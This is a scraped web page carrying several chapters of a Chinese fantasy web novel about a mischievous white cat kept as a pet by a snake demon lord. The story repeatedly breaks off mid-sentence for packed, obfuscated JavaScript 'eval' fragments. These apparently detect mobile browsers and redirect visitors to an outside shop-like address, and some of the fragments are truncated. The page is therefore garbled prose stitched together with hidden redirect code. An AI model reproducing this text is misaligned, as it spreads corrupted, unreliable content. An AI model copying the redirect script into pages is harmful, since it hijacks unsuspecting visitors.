;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004151|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙啦! 被冰凉的大掌糊了一脸,虞窈难得没有生气。 毛茸茸的猫猫头从各个刁钻的角度拱着晏岐的手掌心,想要从他的指缝间努力挤出小猫脑袋来。 让猫看,让猫看看啦! 晏岐狭长幽深的墨绿色眼眸微微眯起,睨着这只在他掌心里不停拱来拱去的小小狸奴。 “就这么想要看?”他把手上读完的奏信放到一边,随即拿了一本新的过来,摊开放在小猫咪眼前。 “那你说说,这奏信上都写了些什么内容?” 小白猫尾巴高翘,歪头瞅着奏信上“玉面狐近来活动频繁,与牛前湖红蜥、密沉林丹乌鸡二族皆来往密切,恐对鬼市秘境虎视眈眈,请尊......” 虞窈磕磕绊绊地读了半晌,最终勉强认出了“玉、牛、鸡、市”这几个字。 嗯,大概...或许...应该是在说原来卖得很贵的牛肉和鸡肉最近都降价了。 所以这妖才要这么紧急地把这个好消息禀告给晏岐,希望晏岐快点带着人去集市上抢购,买回来给猫做佳肴......吧。 猫十分满意地晃晃尾巴,觉得自己的翻译没有任何问题。 毕竟,玉就是很宝贵很值钱的东西呀。 两袖清风的猫猫都买不起呢。 见猫光搁那儿摇着尾巴,连喵都不带喵一声,晏岐抬指,懒懒拨弄了一下小猫咪耳朵尖上的那一小撮绒毛。 “怎么不说话?” 虞窈没好气地白了他一眼。 猫要是真的开口说话了,那还不得吓死你这条臭蛇? 不过,暂时说不了话也没关系,猫有的是办法。 余光瞅见不远处的砚台,小白猫水灵灵的眼珠子骨碌碌一转。 随即屁颠屁颠地来到砚台边,跃跃欲试的模样。 晏岐倒是想要看看她到底想要做什么,所以并没有任何要制止的打算。 于是便眼睁睁地看着巴掌大的小猫咪直接一头蹦跶进了砚台里。 昨夜才洗得香喷喷的四只山竹爪爪立时就被砚台里的墨染得黢黑,白手套瞬间也变成了黑手套,墨汁四渐。 晏岐:“......” 然后—— 小猫咪哒哒哒、哒哒哒,在几案上留下了一连串的梅花印记后,又啪叽跳上了那封奏信。 黑色小山竹在奏信上面继续来回哒哒哒、哒哒哒。 眨眼间,上面密密麻麻的小字全被踩成了一朵朵墨黑色的小梅花。 做完这一切,小猫咪才心满意足地停下来,昂首挺胸,尾巴高翘。 嘛,奏信的内容猫很满意,这只妖的字写得也很不错。 伟大的猫猫大王于是决定,赏赐五十六朵小花花,以示嘉奖。 13. 第十三章 “小白,你真厉害,短短一个下午就毁掉了尊上两件衣裳,还把寝殿弄得一团糟,换做是其他妖的话,都不知道死了有多少回了。” 月明星稀,夜风吹拂。 月女守在小白猫旁边,看着她第五次被泡进温水盆里,由一旁今夜值班的绵羊妖仆高央给她洗爪爪。 小狸奴的爪子都快要被洗秃噜皮了。 那些墨渍依然顽固地残留在她的毛发上面,看起来最起码还得洗个两三次,才能够彻底变回原来白白净净的模样。 虞窈用柔软的猫猫脸蹭了蹭月女的手,又扬起毛茸茸的大尾巴,从高央的手臂上轻柔扫过。 随即发出了软乎乎的一声:“喵。” 厉害又有什么用? 猫后悔了。 这种杀敌一千、自损八百的事情,猫再也不想干了。 她不单单错过了晚饭,这会儿饿得肚子咕咕打雷不止,还被高央按在这个水盆里,不由分说地揉搓了将近半个时辰的爪爪。 她的肉垫都要被水给泡软啦QAQ。 小猫咪只是想奖励写了那封奏信的妖一些鼓励的小花花,小猫咪又能有什么坏心思呢? 不过,转念想到晏岐非但没有来得及看清奏信上的内容,那封奏信就被自己毁掉......啊不,变成了一封漂亮的梅花印收藏集了。 并且,在晏岐探手过来、她却误以为这条臭蛇是想要揍猫,而下意识变得应激起来。 不光一脚踢飞了几案上的茶盏,还力大如牛地把堆在一起的奏信全部踹翻到了地上,尖锐锋利的爪爪同时亮出,随机抓破了好几封飞在半空中的奏信。 而猫自己则在寝殿里撒欢似的狂奔起来。 不仅把晏岐刚换了没一会儿的新衣裳又踩出了好些梅花印,就连周围的地毯也开满了深浅不一的朵朵黑梅。 这么一想,或许应该更正一下:是杀敌两千,自损五百。 这一回合,猫猫血赚。 得到传召的日尧和月女匆匆赶来时,看到的就是这么一副蛇默猫跳的画面。 一蝴蝶一狗统统傻了眼,完全不敢想象小猫咪会被盛怒之下的尊上如何对待。 就算不被丢去万兽窟,恐怕也逃不过被扔进熔炉里、充当炼丹燃料的命运了吧。 然而,让他们万万没有想到的是,尊上在凝眸静默了一会儿后,却只是简单挥了挥手,要他们把小猫咪带下去,叫妖仆来把她爪子上的墨渍洗干净。 日尧拎着小猫咪的后脖颈,生怕她爪子上的墨渍沾到自己的斗篷上面。 ——尽管乌漆嘛黑的斗篷不管有没有沾上墨渍,也压根看不出来有什么区别。 少年傻愣愣地立在原地问:“尊上,洗干净了......之后呢?” 拿去喂万兽窟的那群凶兽还得要洗得白白净净的? 会不会有点太讲究了。 晏岐只是淡淡地斜瞥了他一眼,幽暗深邃的竖瞳里没什么情绪:“之后,饿她半个时辰,让她长长教训。” 说完,晏岐才微微侧了下头,视线慢慢移到了小白猫身上。 小狸奴被日尧提溜在手里,这会儿表现得倒是异常乖巧。 四条腿腿都自然下垂着,直挺挺地让日尧拎,蓬松的大尾巴在身后甩来甩去。 无辜,安静,听话。 和方才比起来,活脱脱就像是换了只猫。 晏岐呵笑一声。 明明是在交代日尧,瞧着却更像是在和小白猫说话:“再有下次,就直接不给饭吃,也好减减她使不完的精力。” 日尧和月女齐齐傻眼:就这? 小猫咪把尊上的寝殿闹得这般天翻地覆、满地狼藉,惩罚居然就只是不给饭吃? 这说出去谁敢信啊? 不管是被小猫咪抓脸,还是被血淋淋的生骨肉挑衅,又或是被小猫咪无视、拳打脚踢,还有今天发生的这些事情。 种种叠加在一起,尊上非但没有动怒,这反应反而更像是乐在其中。 日尧的心里不由得浮出了一个极为大胆的念头。 尊上他...他...... 他该不会是个m吧! 这个想法才刚冒出个苗头来,日尧就被自己这过于大胆的猜测给吓了一跳。 但,细思极恐。 尊上可从未否认过他是个受虐狂这回事。 一想到这里,日尧不免有些蠢蠢欲动。 他好像知道如何能更讨尊上欢心、让尊上更加喜欢自己了! 拎着猫和月女一道朝寝殿外走去,日尧忽然悄悄放出了妖形的尾巴,在路过摆放在博古架上的青瓷花瓶时,尾巴对准花瓶就是轻飘飘一扫。 那青瓷花瓶便从架子上被生生拂了下去。 只听清脆的一声“咔嚓”,花瓶应声碎了一地。 月女震惊地转头看过来,宽大的斗篷下,蓦地瞪大了的透蓝圆眸像是在无声质问:你这条笨狗又在做什么,疯了吗你? 日尧却很是得意地朝她小幅度抬抬下巴,那表情像是在说:等着瞧吧你,接下来就是见证奇迹的时刻! 果不其然,尊上的声音从身后幽幽传了过来:“日尧。” 日尧的尾巴立时在身后甩成了螺旋桨,险些就要翘到天上。 很好,尊上叫他了!一切都在狗的计划之中。 日尧马不停蹄地提溜着猫转身,拼命压下想要疯狂上扬的唇角:“尊上,日尧知错......” 一句话尚未说完,就见尊上的唇角微微下压,睨向他的眸光尤为森沉。 幽暗的瞳眸犹如深渊一般,对而凝视时深不见底。 “是本尊平日太放纵你和月女,没有督促你二人修炼,以至于你虽身为本尊的暗卫之一,现在却连自己的妖形都收不住,还变得如此毛手毛脚了?” 日尧震惊:等等,不儿,剧本的走向怎么跟他写的不太一样? 月女也震惊:等等,不儿,是日尧这笨狗突然抽风,尊上您要骂他就骂,可千万别带上我呀,我平时修炼得可认真可勤快啦! 晏岐背过身,褪下了还有朵朵黑色梅花印的外袍:“把猫给月女,自己去忏苦司领罚思过吧,十二个时辰后再出来。” “如有再犯,这暗卫你也不用再继续当了。” 闻言,日尧一脸不可置信。 狗又输了?狗凭什么又输了!这简直就是赤裸裸的双标! 旁边的月女则忍不住白了他一眼:蠢狗就是蠢狗,一天到晚就知道犯傻。 ... ... 于是,本该领着猫来洗爪子的妖的数量就这么从二变成了一。 一盆干净的温水很快就在高央温柔的搓洗下从清澈变成了黝黑。 高央端起铜盆,恭敬道:“月女大人,仆再去换道水。” “去吧。”月女边说边用手揉了揉小猫咪的脑袋。 ——经过一猫一蝴蝶这两日的相处,月女已经能够做到十分坦然地揉搓小猫咪的脑袋、抚摸小猫咪的尾巴,偶尔还会用指尖碰碰她湿漉漉的粉色鼻尖。 然后再双手捧脸背过身去,无声尖叫。 虞窈配合着月女的动作,主动踮起脚脚,刚要用毛茸茸的小脑袋去顶月女的手掌心。 “咕噜噜——” 格外响亮的一声肚子叫令月女和小白猫都怔愣住了。 猫率先反应过来。 身子僵了僵。 随即抬头深情望天:啊,这天可真天啊。 再低头舔舔脖颈处蓬松的绒毛:啊,这毛可真毛啊。 接着转头甩甩尾巴上沾着的水:啊,这尾巴也可真尾巴啊。 总而言之,才不是猫叫的。 不是猫不是猫。 几息过后,猫才状若无事发生地悄咪咪转回半只鸳鸯眼,偷偷打量起月女的表情。 见月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004152|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女止不住地弯起了眼在笑,小白猫放松下来,也极细极轻地“喵呜”了一声。 声音很软,是非常纯正的小奶音。 然后伸出肉垫,小心翼翼地没有亮出爪爪,只扒拉了下月女的斗篷一角,又朝不远处的石桌晃晃尾巴。 石桌上摆满了妖厨一早就做好了的吃食,用特殊的术法仔细温着,只是还没到晏岐规定的时间,不能喂猫。 月女瞬间就领会了小白猫的意思。 她有些为难地摸摸小白猫的脑袋:“这,小白,尊上罚你的时间还没到呢。” 猫把月女的斗篷扒拉得更加起劲了。 软乎乎的肉垫甚至还搭到了月女的小臂上,左踩一下,右踩一下,喉咙里发出类似于发动机的呼噜噜声。 那双漂亮的鸳鸯瞳里像是盛着汪清水,水润润、晶亮亮,看起来尤为动人,又可怜巴巴。 仿佛在说:求求你了,喂喂猫吧,猫真的快要饿鼠啦。 月女没有养过猫,却也曾听柳幸说过,小猫咪的这种行为用凡人的话来说,叫做踩奶。 是只有身处在让小猫咪感到十分安全舒适的地方,又或是在面对喜欢信任的人时才会这样做。 四舍五入不就是,小白特别喜欢且信任她? 那还说什么了。 月女蹭地一下就站起身,施施然来到石桌边,捻起了最边上的一块桂花糕。 她假模假样地尝了一口,随后轻蹙起眉,一本正经地自言自语道。 “噫,真难吃,这种吃食如何能呈给尊上的妖宠?还是倒掉好了。” 说罢,绚丽的蓝色多瑙河蝶便从她的袖口里飞出,托起盛着桂花糕的盘子就往身后“倒”。 巴掌大的小白猫用两只前爪抱起桂花糕就开啃,狼吞虎咽的同时,又含糊不清地连着发出了三声“喵”。 要鸡腿! 月女竟也心领神会:“这大鸡腿做得也不怎么样,瞧着像是腌过头了,丢掉丢掉。” “话说回来,这芸豆炖猪蹄是丢还是不丢呢?” 猫:“喵!” 丢! 月女:“喔,这猪蹄都没有炖耙,万一不小心把尊上妖宠的乳牙给崩坏了该怎么办,不行不行,必须全部扔掉。” 端着铜盆去而复返的高央看到的,就是月女站在石桌前“扔”,小白猫晃着尾巴在她身后面等着吃的一幕。 绵羊妖结结巴巴:“月女大人,你...你们......” 一蝴蝶一猫皆是被她的声音给吓了一跳,像是被人抓了现行,底气不足地齐齐扭过头来。 就差把“做贼心虚”四个字明晃晃地写在脸上。 数月女的反应最快。 她收回小蝴蝶群,无数只多瑙河蝶回到她的指尖上翩迁起舞,在月夜下散发着迷人又危险的蓝色妖息,好不漂亮。 这是月女第一次在虞窈面前展现出自己真正实力的一面。 毕竟,少女的长相与声音实在是太具有迷惑性了。 常常会让人忽略了,小蝴蝶其实是有着元婴巅峰修为的强者,根本就没有她表面上看起来那么娇小柔弱。 少女同时板起脸来,故意压低声音,冷声问道:“高央,你方才看见什么了?” 高央闻言愣住,不知所措地眨一眨眼。 面前,是月女大人赤裸裸的威胁。 低头,是那只小狸奴端坐在地上,无辜又可爱地冲着自己喵喵叫。 高央:“......” 她觉得自己这辈子脑袋都没转得这么快过。 几乎是毫不犹豫地就抬起了头来,长叹一声:“回月女大人,仆看见了今晚的月亮又大又圆,星星也又多又亮。” “就是今晚的风儿甚是喧嚣,仆刚刚打好的水好像又被风给吹凉了。”说着,高央端着铜盆就转过身去。 “月女大人请稍等片刻,仆再去换一道水来好了。” 14. 第十四章 一夜过去,相安无事,没有人知道庭院前一晚到底发生了什么。 只有猫得到了香喷喷的吃食。 月女收获了猫的进一步信任。 高央也在给猫搓完爪爪后,获得了猫的两个亲亲:辛苦啦。 ... ... 就这样,虞窈一连在妖界里度过了还算潇洒自由的几天。 不知为何,晏岐对她这只妖宠的态度很是纵容。 猫也很会见风使舵,于是更加得寸进尺。 不过短短几天时间,猫就成功抓烂了两床晏岐的冰蚕丝被,啃坏了六支笔架上的毛笔,还顺爪一扒拉,踢碎了三个摆放在博古架上的瓷瓶。 只因奏信一事后,聪明的猫猫又又又顿悟了。 光靠一日三餐就想吃垮妖界的金库,猫不得吃到哪个猴年马月去了。 更何况,猫每天吃的那点东西所需要的灵石,说不定还没有妖界每天赚的多呢。 不过,吃是吃不过来了,但是小猫咪还可以搞破坏哇! 身为妖界的尊主,晏岐的吃穿用度虽谈不上奢靡无度,但样样可都是顶配中的顶配。 就好比她昨天踢碎的那只绿纹凤竹花口瓶,听说就是某个领地的妖王为了讨好晏岐,花了天价从别处买来的。 放眼整个三界,仅存十只,几乎到了有价无市的程度。 晏岐这条臭蛇甚至还提溜着她的后颈吓唬猫,说什么那花口瓶价值连城,千千万万只她这样的小猫咪加起来都赔不起。 ——却成为了小猫咪的爪下亡瓶。 虞窈对此很不屑一顾。 嘁,价值连城有什么用?千千万万只小猫咪都赔不起又如何? 这样的花口瓶三界好歹现存还有十......啊不,昨天过后,就只剩下九只了。 然而放眼整个三界,她这样的猫猫可是只有一只,是独一无二的哇! 所以,一小于九,此为一胜。 更不要说短短这么几天时间下来,小猫咪的身价暴涨,早就超过了那只花口瓶,此为二胜。 再者,小猫咪还能动不动就给蛇生个几千枚上品灵石才能治的小病。 事已至此,小猫咪完胜! 至于,听说了小猫咪踢碎了绿纹凤竹花口瓶、却没有得到任何惩罚的日尧很是忧郁。 凭什么,到底是凭什么!狗究竟哪一点比不过猫! 愤愤不平的日尧于是才刚从忏苦司里出来没几天,就忍不住开始偷偷怂恿起月女。 “月女,你能不能也找个机会打碎一只瓷瓶,看看尊上是何反应?” 他实在是太想知道这样的待遇究竟是单给那只小狸奴的,还是除了他以外,别的小妖都有。 结果换来月女的一个白眼,外加一句十分直白的“神金。” 不过,猫决定暂时先消停一阵子,过个几天再继续搞破坏了。 倒不是猫心疼蛇的灵石,要放他一马。 而是可恶的蛇又在威胁猫,胆敢再继续弄坏妖殿里的东西,就真的要开始克扣猫的吃食,一整天都不给猫饭吃了。 小气小气,真是小气。 蛇坏,猫好。 不搞破坏的小猫咪暂时不用琢磨那些坏心思,自然而然地空闲了下来,整日不是四处睡大觉,就是和别的妖玩。 毕竟,身为妖界的尊主,晏岐的时间与精力不可能全部花在一只妖宠身上,而月女也不是每天都有时间陪伴小猫咪的。 小蝴蝶偶尔会被晏岐派去和日尧一道执行一些任务,每每这个时候,陪小猫咪玩的重任自然而然就落到了高央头上。 能够成为蛇尊妖宠的“玩伴”,高央无疑是变相升了职,还是连跳了好几级的那种。 高央简直受宠若惊,刚知道这个消息的时候,还有些呆愣愣地用羊蹄指了指自己。 “我?让我去陪尊上的妖宠?居然还有这种好事?” 从别的妖口中得知是月女大人引荐的自己后,高央于是不由得想起了给小狸奴洗爪子的那晚,自己忽然之间鬼迷心窍、在那里“装疯卖傻”的经历。 天哪,自己那时候的决定果然没错! 高央闭上双眼,虔诚地双蹄合十:感恩小猫咪,感恩月女大人,感恩老己。 但,陪伴尊主的妖宠这件事,其实并没有表面上看起来这般轻松和有趣。 一旦一不小心哪里出了差错,就是会弄掉脑袋的大事。 吃过饭的虞窈和高央在庭院里玩了一会儿之后,就变得昏昏欲睡起来。 小猫咪规规矩矩地趴在草地上,毛茸茸的小脑袋一下下轻轻点着,困得连眼皮都快要睁不开了。 看得高央一整颗心都快要跟着化掉,也不由自主地放轻了声音。 “小猫是不是困了?仆带你去偏殿里歇息好不好?” 像她这样的妖仆是没有资格踏足尊上的寝殿的,所以晏岐不在的时候,虞窈都会被带到一开始居住的偏殿去休息。 猫翻了个身,四脚朝天的小猫咪索性闭着双眼,只向上举起两只毛茸茸的前爪,露出了软乎乎又圆滚滚的肚皮。 抱~ 高央顺势将小白猫抱起,同时在内心无声呐喊尖叫:世上怎么会有这么可爱的小猫咪?三界没有小猫咪就转不了! 回到偏殿里后,高央把小白猫放到软垫上,习惯性地去关殿门、开窗户、点熏香。 然而再转过身来时,软垫上的小白猫却不见了踪影。 起初,高央还以为小猫咪是睡到了哪个角落,亦或是藏在了某处拐角。 毕竟,这只小狸奴似乎很喜欢和妖玩捉迷藏。 偶尔猫会趁着妖不注意,躲到爬架底柱的背后,亦或是藏去桌角的后面,再在妖走过来的时候突然跳出来吓唬妖。 高央每次都很配合她,会在小猫咪扑出来的瞬间拍拍胸脯、后退半步,作出一副受到了惊吓的样子。 ——尽管小猫咪的躲藏技术其实十分拙劣,每次都会不自知地露出半只毛茸茸的耳朵,或是一小截蓬松的尾巴。 高央以为这次小猫也是在和自己玩捉迷藏。 找完了偏殿的四个角,都没有发现猫的踪影后,便开始去寻猫平时玩躲猫猫藏身的地方。 边找边跟哄小孩似的:“小猫又躲到哪里去啦?是谁家的小猫这么会躲,哪里都找不见小猫咪呀?” 但是很快,高央就哄不出口了。 因为她绝望地发现,偏殿里所有地方都没有那只小狸奴的身影。 小白猫就像是从偏殿里蒸发了一样,只在地上给她留下了几根细小的浮毛。 可是,这根本就不合理啊。 且不说她就转个身的功夫没有盯着小白猫而已,更何况偏殿设有结界,一只几乎没有任何妖力的小小狸奴,怎么可能突破得了结界,就这么凭空消失不见了呢? 高央一边怀疑妖生,一边不死心地把偏殿重新翻了个底朝天,依旧没有发现那抹小小的白色身影。 完蛋了,这回是真的要完蛋了。 绝望的高央瘫坐在偏殿的地上,忍不住伸手摸了摸自己的脖子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004153|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 救命!绵羊脑袋不保。 等到去忏苦司的晏岐带着日尧和月女回到妖殿,心如死灰的高央把小白猫离奇消失不见的事情如实报了上去。 “所有的地方都找过了?”听完来龙去脉的晏岐面色阴冷,气压很低。 他的身上还有十分浓郁的血腥味,是其他妖的血。 以至于眸光轻飘飘落在高央的身上时,仿佛连周围的气温都跟着骤降了好几度。 熟悉他的日尧和月女都知道,之前威胁吓唬小猫咪的那几次都是小打小闹,尊上这一回是真真切切地动了怒。 如果最后真的没有找到小猫咪,仔细追究起来,就这么一颗绵羊脑袋可是根本不够赔的。 高央跪在地上,额头紧贴着冰冷的青石地板,身体抖若筛糠。 “禀尊上,仆都、都找过了。” 时间仿佛也跟着凝固了下来。 高央只听到了自己的死亡倒计时还在滴答滴答。 不知过去了多长时间,面前尊贵高傲的男人才发出一声轻呵:“再找。” 那双狭长的墨绿色竖瞳微微眯起,晏岐垂着眼睑,玉白的长指随意地转动了下戴在指间的翡翠扳指。 竟忽然笑了。 “本尊倒是想知道,本尊的妖宠是如何能在本尊的眼皮子底下消失不见的。” 妖仆们顿时倾巢而动,阵仗之大,把妖殿里所有能够藏身的地方都给找了个遍,却全都一无所获。 更加古怪离奇的是,妖殿的每一处结界也都完好无损,而小猫咪若是想要从妖殿里逃离,想要不惊动这些结界,是根本不可能的事情。 群妖重新回到偏殿。 三陨边牧皱皱鼻尖,闻到熟悉的气息,十分确定:“这里的气味最浓,小狸奴绝对还在殿里。” 妖仆们于是瞬间就把偏殿给围堵得水泄不通。 这间偏殿本来是很空旷的,但一下子容纳了这么多只妖,再怎么宽敞的偏殿也自然而然地变得狭小了起来。 众妖们掀地毯的掀地毯,抬桌子的抬桌子,甚至有爬行类的妖直接变回了妖形,蹿上房梁去找。 而虞窈就是在这么大的阵仗下迷迷糊糊地醒过来的。 周围吵吵嚷嚷,把猫的脑瓜子也吵得嗡嗡的。 她能够清楚地感知到自己所在的地方莫名其妙地飞了起来,并且还伴随着程度不低的震荡与摇晃。 说实在的,猫有点懵。 怎、怎么回事。 地动了?还是她多年以来的愿望得以实现,其他两界终于率兵来攻打妖界了? 一枚毛绒绒的小猫脑袋瞬间就从花瓶瓶口里钻了出来,一瓶猫不太清醒地探头四处望去,想要弄清楚到底发生了什么事情。 未曾想紧接着的下一秒,就与整个妖殿里最先锁定她的晏岐撞上了目光。 长身鹤立的男人眼神平静,深邃森冷的眼眸就这么穿过还在偏殿里来回穿梭找猫的一众妖仆,不偏不倚地与她对视。 或许是还没有彻底清醒过来,尚迷迷糊糊着的虞窈竟猝不及防地因晏岐这样冰冷的眼神而轻微炸了毛。 ......搞什么,怎么一下子变得这么凶。 可猫今天明明很乖,都没有惹你! 小白猫往下压了压毛绒绒的耳朵,深思熟虑一番后,决定先撤回一枚猫猫头,暂避锋芒。 于是两息后,一瓶猫毫不犹豫,重新缩回了花瓶里。 快得只留下了一道残影。 仿佛方才的那枚猫猫头,只是晏岐的幻觉一样。 15. 第十五章 “都出去。” 偏殿里明明分外嘈杂,被众妖的脚步以及四处搬动物什的声音所占据。 晏岐低沉清冽的声音却依然无比清晰地传进了每只妖的耳朵里。 妖仆们听从命令、鱼贯而出,方才还闹哄哄的偏殿瞬间就安静了下来。 除了晏岐以外,就只剩下身为妖尊暗卫的月女和日尧。 一蝴蝶一狗面面相觑。 怎么回事?不找猫了吗? 望着晏岐清冷的背影,就算清楚自己是隶属于尊上的暗卫,理应万事听令于尊上的月女,也依然不太甘心地悄悄攥紧了掌心。 少女暗自在心里盘算着,如果尊上真的不打算继续找猫了的话,她说什么也要把小白给找回来,不能放弃。 毕竟,小猫咪喜欢小蝴蝶,小蝴蝶也非常非常喜欢小猫。 旁边的日尧同样也在心里天人交战。 真不找了?这不对吧? 那狸奴虽然一直都不怎么讨狗的喜欢,可尊上明明就挺稀罕那只小猫咪的呀。 蝴蝶也是。 找不到猫,蝴蝶会伤心。 狗又不会哄蝴蝶,只能够从根源上解决问题。 却见尊上径直朝着坐落在角落里的博古架走去,信手拿起了摆放在架子上的玉壶春瓶。 “出来。” 日尧和月女闻言都有点懵。 什么出来?里面莫非藏有什么东西吗? 却见那玉壶春瓶纹丝不动,像是装了一瓶子的空气。 晏岐声色如常,继续对着瓶子说道:“再不自己出来,本尊就只好把你从里面给倒出来了。” 闻言,瓶子里的猫机敏地竖了竖耳朵。 倒出来?那猫岂不是要屁股墩朝天,脑袋锤地? 不可不可不可。 这样的姿势不太文雅,猫不同意。 于是就见那玉壶春瓶自己窸窸窣窣地动了起来,片刻后—— 先是有两只毛茸茸的小爪子搭上瓶口,紧接着“噗叽”一声,一只猫猫头就紧跟着从里面硬生生挤了出来。 小狸奴脸颊上的那些绒毛被瓶身挤压得有些凌乱,纤长茂密的胡须也胡乱绞在了一起。 许是觉得毛发这样乱糟糟的很不舒服,小白猫用力甩了甩脑袋,把头晃成了拨浪鼓。 无数浮毛纷飞的同时,还有浓浓的小猫味扑面而来。 那双炯炯有神的鸳鸯眼随即望向了面前的晏岐与蝴蝶狗。 猫很是无辜:“咪呜~” 当当当当,大变活猫! 月女的眼睛霎时亮起,没顾上晏岐还在旁边,惊喜出声:“小白!” 你怎么会藏在这里?你怎么藏进的这里? 有着同样疑问的不止月女。 晏岐很轻地偏了下头,狭长的眼眸微微上挑,盯着瓶口那只模样乖巧的狸奴脑袋。 “所以,你要不要重新给本尊演示一下,你是怎么钻进的这瓶子?” 毕竟,这玉壶春瓶是上窄下宽的造型,瓶颈处细长狭窄,从颈口的位置往下才逐渐向两侧加宽,是十分对称的“S”型。 毫无疑问,玉壶春瓶的下半部分是可以容纳得下一只三个月大的小猫咪的。 可最大的问题就在于,这颈口太过细窄,而以小狸奴近来日渐圆润的身形,根本就不可能挤得过去。 这也就导致在找猫的时候,不管是高央还是那些妖仆,压根就没想过小猫咪会藏进这里,甚至还在里面安然舒适地睡了一觉。 就算是现在,小猫把脑袋露在了瓶口外面,也让人很难想象出来,颈口那部分究竟是如何容纳下小猫的身体的。 猫却十分灵活地在玉壶春瓶里转了个身,圆润润的后脑勺对准晏岐。 拒绝的意思很明显。 你让猫演示猫就得给你演示啊?真是好大的面子。 猫不听,猫不要。 “不演示也可以。”晏岐这会儿竟也比想象中的好说话。 “不过,高央玩忽职守,没能看住你,送去忏苦司砍四肢,剥羊皮。” 猫:“?” 你玩赖的,又威胁咪? 她就是太困了,突发奇想在这个花瓶里睡一觉,是你的那些手下太没用,连只猫都找不到,怪小绵羊干什么! 小白猫忿忿扭过脑袋,十分恶狠狠地冲晏岐哈气。 晏岐视若无睹地继续说道:“至于高央是由月女引荐,理应连坐受罚,不过念及月女是本尊的暗卫,便只折妖形一对翅膀,以儆效尤。” 月女:“?” 哎哎哎,您吓唬猫就吓唬猫,带上蝴蝶干什么?蝴蝶又不是你们play中的一环。 晏岐:“还有日尧......” 莫名其妙被点名的日尧不可置信地用手指了指自己:“?” 啊?又我?狗干啥了?狗没惹啊。 “喵喵喵喵喵!”一连串的猫叫声打断了晏岐的话。 虽然听不懂小白猫又在叫些什么,但从她那张不停猫猫咧咧的小猫脸上就能看得出来。 是的,没错。 小猫咪又在礼貌地问候蛇的族谱,口吐芬芳。 但问候完,猫还是摇摇晃晃地从玉壶春瓶里探出肉垫,搭在了瓶口边沿上。 随即借力撑起上半身,最后从瓶子里顺滑地钻出来了一只完整的猫。 整个过程都十分流畅。 猫还非常骄傲地挺起了胸膛,翘起了尾巴。 众所周知,猫是液体哇! 在月女的惊叹声中以及日尧瞪大了的双眼注视下,猫甚至来了劲。 毛绒绒的身体抖擞抖擞,又如水一般很是自然地重新钻回了瓶子里,两息之后再冒出来。 然后又钻进去,又冒出来,再钻进去,再冒出来。 诶猫来了,诶猫又走了~ 小小的猫脑袋就这么在玉壶春瓶的瓶口进进出出,如果这会儿能够从天而降一只棒槌的话,都可以玩上打地鼠......啊不,打地猫了。 其实,妖界向来是尊重妖宠宠格,拒绝妖宠表演的。 ——但拦不住妖宠非要表演。 就在虞窈玩得不亦乐乎,再一次从瓶口里钻出了小猫脑袋的时候,一只冰冷的大掌忽而从上方罩来。 伴随着“啵唧”一声,修长的手指拎着小白猫的后脖颈,就把她从玉壶春瓶里整只提溜了出来。 小白猫登时就扯着嗓子嗷嗷叫唤起来,不满地在半空中挥舞起四肢。 诶诶,猫还没表演够呢,快放开猫! - 这次乌龙闹到最后,高央成功保住了自己的绵羊脑袋,月女也护住了自己的蝴蝶翅膀。 至于日尧......日尧就算了,不提也罢。 狗不重要。 只有猫又被晏岐带回自己的寝殿里,放在了眼皮子底下。 小白猫恹恹地蜷缩在地毯上面,蓬松的大尾巴盘在身前。 猫不服,猫很难过,猫想要四十五度望天,这样眼泪就不会轻易落下。 为什么!为什么别的妖拿到的都是合家欢剧本,最后受伤的只有猫! 染了一身血腥味的晏岐这会儿正在石壁后面沐浴冲凉。 不多时,石壁就从中间呈太极状打开,潮湿的白雾从里循循飘出。 小白猫支起上半身抬头看去,下一秒,又“嘎巴”一下重新瘫回到地毯上,变成了一根直挺挺的细长猫条。 没劲,真是太没劲了。 ——这次的晏岐居然穿了衣裳。 好在晏岐和往常一样,并没有打算来“招惹”猫。 之所以非要把小白猫放在自己的寝殿里,更重要的一个原因,或许单纯只是蛇尊把小白猫当成了自己的所有物,所以才不允许她离开自己的地盘分毫。 漆发未干,晏岐也并不在意,只是很随意地把所有长发全都拨到了一侧去。 有水顺着发梢末端滴落,他身上的白色寝衣也跟着变得透明起来,勾勒出了明显的肌肉块垒,还有墨绿色的蛇鳞若隐若现。 或许是因为身上的旧伤一直未愈,晏岐本就不似常人的肌肤在摇曳烛火的映衬下,显得更加苍白了一点,微微下压的薄唇看起来也没有什么血色。 唯有眼下的那颗红色小痣妖艳如常。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 